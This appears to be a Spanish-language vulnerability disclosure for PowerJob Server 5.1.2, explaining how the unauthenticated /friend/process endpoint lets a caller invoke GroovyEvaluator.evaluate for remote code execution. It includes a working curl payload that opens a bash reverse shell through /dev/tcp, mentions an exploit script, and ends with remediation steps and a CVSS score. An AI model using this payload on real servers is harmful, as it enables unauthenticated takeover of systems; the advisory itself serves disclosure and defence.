
Exploit de ejecución remota de código no autenticado para PowerJob Server mediante inyección de Groovy en el endpoint /friend/process, que permite la ejecución arbitraria de comandos y shells inversas.
/friend/process sin autenticación (Inyección Groovy)El PowerJob Server (framework distribuido de planificación de trabajos / computación) expone el endpoint /friend/process en su puerto HTTP 10010 de la capa de transporte Worker↔Server sin autenticación alguna. El endpoint refleja un método público arbitrario de un Spring Bean arbitrario; un atacante que invoque GroovyEvaluator.evaluate puede ejecutar expresiones Groovy arbitrarias, logrando ejecución remota de código sin autenticación. El docker-compose predeterminado publica este puerto en 0.0.0.0, por lo que un servidor puede verse completamente comprometido sin credenciales.
docker-compose.yml:29-33,47-48 publica 10010 (transporte HTTP), 10086 (AKKA), 10077 (MU) en el host 0.0.0.0| Elemento | Valor |
|---|---|
| Endpoint desencadenante | POST http://<servidor>:10010/friend/process |
| Registro | FriendActor.java @Actor(path = "friend") + @Handler(path = "process") (registrado para los tres protocolos: HTTP/MU/AKKA) |
| Ejecución reflectiva | RemoteRequestProcessor.processRemoteRequest() |
| Sumidero peligroso | GroovyEvaluator.evaluate() → ScriptEngine.eval() |
| Autenticación ausente | HttpVertxCSInitializer (HTTP) / MuServerHandler (MU) registran rutas sin ninguna comprobación de token/firma |
Archivos fuente clave (relativos a la raíz del repositorio):
powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java (registra las rutas del puerto 10010, sin autenticación)powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28RemoteRequestProcessor.processRemoteRequest confía plenamente en los campos className, methodName, parameterTypes y args del cuerpo de la solicitud — utiliza Class.forName + SpringUtils.getBean para obtener cualquier Spring Bean y luego invoca cualquiera de sus métodos públicos mediante Spring ReflectionUtils.GroovyEvaluator es un bean @Component cuyo evaluate(String, Object) llama al motor de scripts Groovy (ScriptEngineManager) para eval() directamente la expresión del atacante.La combinación de los tres equivale a ejecución remota de código sin autenticación.
RemoteProcessReq que apunta a GroovyEvaluator.evaluate con una expresión Groovy arbitraria (p. ej., 'id'.execute().text).AskResponse.data (JSON en base64).Entorno: JDK 17, powerjob-server-starter-5.1.2.jar compilado desde el código fuente (perfil daily), servidor escuchando en 192.168.49.128:10010. Re-verificado en JDK 21 (el payload en formato shell siguiente funciona en ambos; ver la nota sobre File.write más abajo).
curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
"className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
"methodName": "evaluate",
"parameterTypes": ["java.lang.String","java.lang.Object"],
"args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
}'
Respuesta real: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}. Decodificando en base64 el campo data se obtiene la salida del comando ejecutado en la JVM del servidor:

Alternativamente, puede reproducirlo usando el script:
python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878
/friend/process forma parte de la comunicación interna Server↔Worker; debería rechazar solicitudes sin autenticación, o el método no debería ser invocable remotamente en absoluto.RemoteRequestProcessor a una lista blanca: restringir className/methodName a handlers seguros definidos por el framework y prohibir la invocación reflectiva de beans arbitrarios.GroovyEvaluator (si debe permanecer, añadir autenticación y un sandbox)./friend/process (S4S_HANDLER_PROCESS) por defecto o restringirlo solo a fuentes internas.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Crítico
mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package/friend/process es desencadenable sin base de datos)java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...